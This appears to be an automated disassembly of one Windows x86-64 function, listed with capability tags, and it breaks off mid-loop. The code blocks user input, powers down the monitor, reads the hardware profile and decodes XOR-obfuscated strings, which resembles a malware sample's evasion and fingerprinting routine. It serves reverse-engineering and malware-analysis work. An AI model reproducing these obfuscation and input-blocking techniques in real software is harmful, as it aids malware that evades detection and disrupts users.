Function at 0x1402d62a0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Power down monitor
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x9d8]
sub rsp, 0xab0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14040f080]
xor rax, rsp
mov qword [rbp + 0x998], rax
mov r15, rcx
mov qword [rbp + 0x850], rcx
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov rax, qword [0x140593278]
cmp byte [rax + 0x10], 0
je 0x1402d6314
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
lea rcx, [0x1405931f0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x1402d6338
lea rdx, [0x1405931f4]
lea rcx, [0x140591de8]
call fcn.1402e29e0
movsd xmm0, qword [str.EBWAZT_R8]
movzx eax, byte [0x1403f2a20]
movsd qword [rsp + 0x40], xmm0
mov byte [rsp + 0x40], 0x75
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
xor al, 0x38
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x8b8]
call fcn.1402d4470
nop
lea rcx, [rbp + 0x898]
call fcn.1402d47e0
nop
lea rcx, [rbp + 0x8f8]
call fcn.1402d4030
nop
lea rcx, [rbp + 0x958]
call fcn.1402d4b50
nop
lea rcx, [rbp + 0x8d8]
call fcn.1402d4ea0
nop
lea rcx, [rbp + 0x978]
call fcn.1402d5200
nop
lea rcx, [rbp + 0x918]
call fcn.1402d5550
nop
mov byte [rbp + 0x888], 0
xor edx, edx
lea rcx, [rbp + 0x890]
call fcn.1402e45d0
nop
mov eax, dword [0x1403f31cc]
mov dword [rsp + 0x30], eax
movzx ecx, word [0x1403f31d0]
mov word [rsp + 0x34], cx
movzx eax, byte [0x1403f31d2]
mov byte [rsp + 0x30], 0x65
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor cl, 0x34
mov byte [rsp + 0x34], cl
xor byte [rsp + 0x35], 0x35
xor al, 0x36
mov byte [rsp + 0x36], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xor edi, edi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rdi
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], dil
jne 0x1402d6460
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.1402c8840
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x888]
call fcn.1402e6c30
mov r12, rax
mov ecx, dword [str.DXF_Q5]
mov dword [rsp + 0x30], ecx
movzx ecx, word [0x1403f2ec0]
mov word [rsp + 0x34], cx
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSACleanup
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor cl, 0x34
mov byte [rsp + 0x34], cl
xor byte [rsp + 0x35], 0x35
mov byte [rbp + 0x148], dil
xor eax, eax
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.1402e3720
mov byte [rbp + 0x148], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov rsi, rax
lea rax, [rbp + 0x880]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6530
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1402c8840
nop
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], rdi
movsd xmm0, qword [str.tTPFS]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1403f3988]
mov dword [rsp + 0x38], eax
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1403f398b], 0
je 0x1402d66d3
mov r8d, edi
cmp esi, 2
jl 0x1402d6691
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4660]
movd xmm0, dword [str.tTPFS]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403f4660]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1402d66a0
mov byte [rbp + 0x160], 0
xor eax, eax
mov qword [rbp + 0x168], rax
xor edx, edx
lea rcx, [rbp + 0x168]
call fcn.1402e3720
mov byte [rbp + 0x160], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6740
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0x168], r14
mov qword [rbp + 0x170], rdi
lea rax, [rbp + 0x148]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x178]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x1b0]
call fcn.1402e3c20
mov qword [rbp + 0x1c0], rdi
movsd xmm0, qword [str.TTAPFFCQVT_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1403f3e50]
mov dword [rsp + 0x38], eax
cmp byte [0x1403f3e53], 0
je 0x1402d6923
mov r8d, edi
cmp esi, 2
jl 0x1402d68d7
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.TTAPFFCQVT_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1402d68f0
mov byte [rbp + 0x88], 0
xor eax, eax
mov qword [rbp + 0x90], rax
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.1402e3720
mov byte [rbp + 0x88], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6990
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], rdi
movsd xmm0, qword [str.cT___AO]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x1403f4100]
mov word [rsp + 0x38], cx
movzx eax, byte [0x1403f4102]
mov byte [rsp + 0x30], 0x53
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
xor byte [rsp + 0x36], 0x36
xor byte [rsp + 0x37], 0x37
xor cl, 0x38
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x39
xor al, 0x3a
mov byte [rsp + 0x3a], al
mov byte [rbp + 0xa0], 0
xor eax, eax
mov qword [rbp + 0xa8], rax
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.1402e3720
mov byte [rbp + 0xa0], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x880]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6a80
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], rdi
lea rax, [rbp + 0x88]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x1c8]
call fcn.1402e3c20
mov qword [rbp + 0x1d8], rdi
mov eax, dword [str.SF5]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1403f3214]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], 0x63
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor al, 0x34
mov byte [rsp + 0x34], al
xor byte [rsp + 0x35], 0x35
mov byte [rbp + 0xb8], 0
xor eax, eax
mov qword [rbp + 0xc0], rax
xor edx, edx
lea rcx, [rbp + 0xc0]
call fcn.1402e3720
mov byte [rbp + 0xb8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6b80
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], rdi
mov byte [rbp + 0xd0], 0
xor eax, eax
mov qword [rbp + 0xd8], rax
xor edx, edx
lea rcx, [rbp + 0xd8]
call fcn.1402e3720
mov byte [rbp + 0xd0], 5
mov qword [rbp + 0xd8], 0xffff00
mov qword [rbp + 0xe0], rdi
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x1e0]
call fcn.1402e3c20
mov qword [rbp + 0x1f0], rdi
mov eax, dword [str.VXW_PF6]
mov dword [rsp + 0x30], eax
movzx ecx, word [0x1403f3124]
mov word [rsp + 0x34], cx
movzx eax, byte [0x1403f3126]
mov byte [rsp + 0x30], 0x66
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor cl, 0x34
mov byte [rsp + 0x34], cl
xor byte [rsp + 0x35], 0x35
xor al, 0x36
mov byte [rsp + 0x36], al
mov byte [rbp + 0x178], 0
xor eax, eax
mov qword [rbp + 0x180], rax
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.1402e3720
mov byte [rbp + 0x178], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6cc0
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
mov eax, dword [0x1403f306c]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x1403f3070]
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor al, 0x34
mov byte [rsp + 0x34], al
mov byte [rbp + 0xe8], 0
xor eax, eax
mov qword [rbp + 0xf0], rax
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.1402e3720
mov byte [rbp + 0xe8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x880]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6d80
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], rdi
movsd xmm0, qword [0x1403f2e70]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x1403f2e78]
mov word [rsp + 0x38], cx
movzx eax, byte [0x1403f2e7a]
mov byte [rsp + 0x30], 0x49
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor byte [rsp + 0x34], 0x34
xor byte [rsp + 0x35], 0x35
xor byte [rsp + 0x36], 0x36
xor byte [rsp + 0x37], 0x37
xor cl, 0x38
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x39
xor al, 0x3a
mov byte [rsp + 0x3a], al
mov byte [rbp + 0x100], 0
xor eax, eax
mov qword [rbp + 0x108], rax
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.1402e3720
mov byte [rbp + 0x100], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402d6e70
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0x108], r14
mov qword [rbp + 0x110], rdi
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x118]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x220]
call fcn.1402e3c20
mov qword [rbp + 0x230], rdi
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], 0x76
xor byte [rsp + 0x31], 0x31
xor byte [rsp + 0x32], 0x32
xor byte [rsp + 0x33], 0x33
xor al, 0x34
mov byte [rsp + 0x34], al
xor byte [rsp + 0x35], 0x35
mov byte [rbp + 0x118], 0
xor eax, eax
mov qword [rbp + 0x120], rax
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.1402e3720
mov byte [rbp + 0x118], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov r14, rax
lea rax, [rbp + 0x858]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rdi
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1402d6f66
mov r8, rbx
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.1402c8840
nop
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], rdi
mov byte [rbp + 0x130], 0
xor eax, eax
mov qword [rbp + 0x138], rax
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.1402e3720
mov byte [rbp + 0x130], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1403b4fe4
mov rbx, rax
lea rax, [rbp + 0x880]
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rbx
lea rdx, [rbp + 0x8f8]
mov rcx, rbx
call fcn.1402c7d00
nop
mov qword [rbp + 0x138], rbx
mov qword [rbp + 0x140], rdi
lea rax, [rbp + 0x118]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x148]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x238]
call fcn.1402e3c20
mov qword [rbp + 0x248], rdi
lea rax, [rbp + 0x220]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x250]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x760]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x68], WSAGetLastError
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor al, 0x34
mov byte [rbp - 0x64], al
lea rax, [rbp - 0x68]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x460]
call fcn.1402e50c0
nop
movsd xmm0, qword [str.xfw]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1403f3a20]
mov dword [rbp + 0x28], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x2c], al
mov r8d, edi
cmp esi, 2
jl 0x1402d71d6
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
mov eax, dword [0x1403f4660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xfw]
xorps xmm2, xmm0
movd dword [rbp + 0x20], xmm2
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24]
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1402d71e0
lea rax, [rbp + 0x20]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x478]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x460]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x490]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x400]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x60], 0x76
xor byte [rsp + 0x61], 0x31
xor byte [rsp + 0x62], 0x32
xor byte [rsp + 0x63], 0x33
xor al, 0x34
mov byte [rsp + 0x64], al
xor byte [rsp + 0x65], 0x35
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x430]
call fcn.1402e50c0
nop
lea rdx, [0x140591de8]
lea rcx, [rbp + 0x448]
call fcn.1402e5180
nop
lea rax, [rbp + 0x430]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x460]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x418]
call fcn.1402e2230
nop
lea rax, [rbp + 0x400]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x430]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x778]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x60], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x60], WSAGetLastError
xor byte [rbp - 0x5f], 0x31
xor byte [rbp - 0x5e], 0x32
xor byte [rbp - 0x5d], 0x33
xor al, 0x34
mov byte [rbp - 0x5c], al
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5e0]
call fcn.1402e50c0
nop
movsd xmm0, qword [0x1403f40a0]
movsd qword [rbp - 0x18], xmm0
movzx ecx, word [0x1403f40a8]
mov word [rbp - 0x10], cx
movzx eax, byte [0x1403f40aa]
mov byte [rbp - 0x18], 0x47
xor byte [rbp - 0x17], 0x31
xor byte [rbp - 0x16], 0x32
xor byte [rbp - 0x15], 0x33
xor byte [rbp - 0x14], 0x34
xor byte [rbp - 0x13], 0x35
xor byte [rbp - 0x12], 0x36
xor byte [rbp - 0x11], 0x37
xor cl, 0x38
mov byte [rbp - 0x10], cl
xor byte [rbp - 0xf], 0x39
xor al, 0x3a
mov byte [rbp - 0xe], al
lea rax, [rbp - 0x18]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5f8]
call fcn.1402e50c0
nop
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x610]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x3a0]
call fcn.1402e2230
nop
mov eax, dword [0x1403f2e64]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1403f2e68]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x68], 0x76
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3d0]
call fcn.1402e50c0
nop
mov rdx, qword [0x140593278]
add rdx, 0x18
lea rcx, [rbp + 0x3e8]
call fcn.1402e5180
nop
lea rax, [rbp + 0x3d0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x400]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x3b8]
call fcn.1402e2230
nop
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x860], rax
lea rax, [rbp + 0x3d0]
mov qword [rbp + 0x868], rax
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x790]
call fcn.1402e2230
nop
mov eax, dword [0x1403f306c]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x1403f3070]
mov byte [rbp - 0x58], WSAGetLastError
xor byte [rbp - 0x57], 0x31
xor byte [rbp - 0x56], 0x32
xor byte [rbp - 0x55], 0x33
xor al, 0x34
mov byte [rbp - 0x54], al
lea rax, [rbp - 0x58]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x370]
call fcn.1402e50c0
nop
movsd xmm0, qword [str.rX__]
movsd qword [rbp + 0x30], xmm0
mov eax, dword [0x1403f2e60]
mov dword [rbp + 0x38], eax
cmp byte [0x1403f2e63], 0
je 0x1402d7683
mov r8d, edi
cmp esi, 2
jl 0x1402d763b
movdqa xmm4, xmmword [0x1403f4800]
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
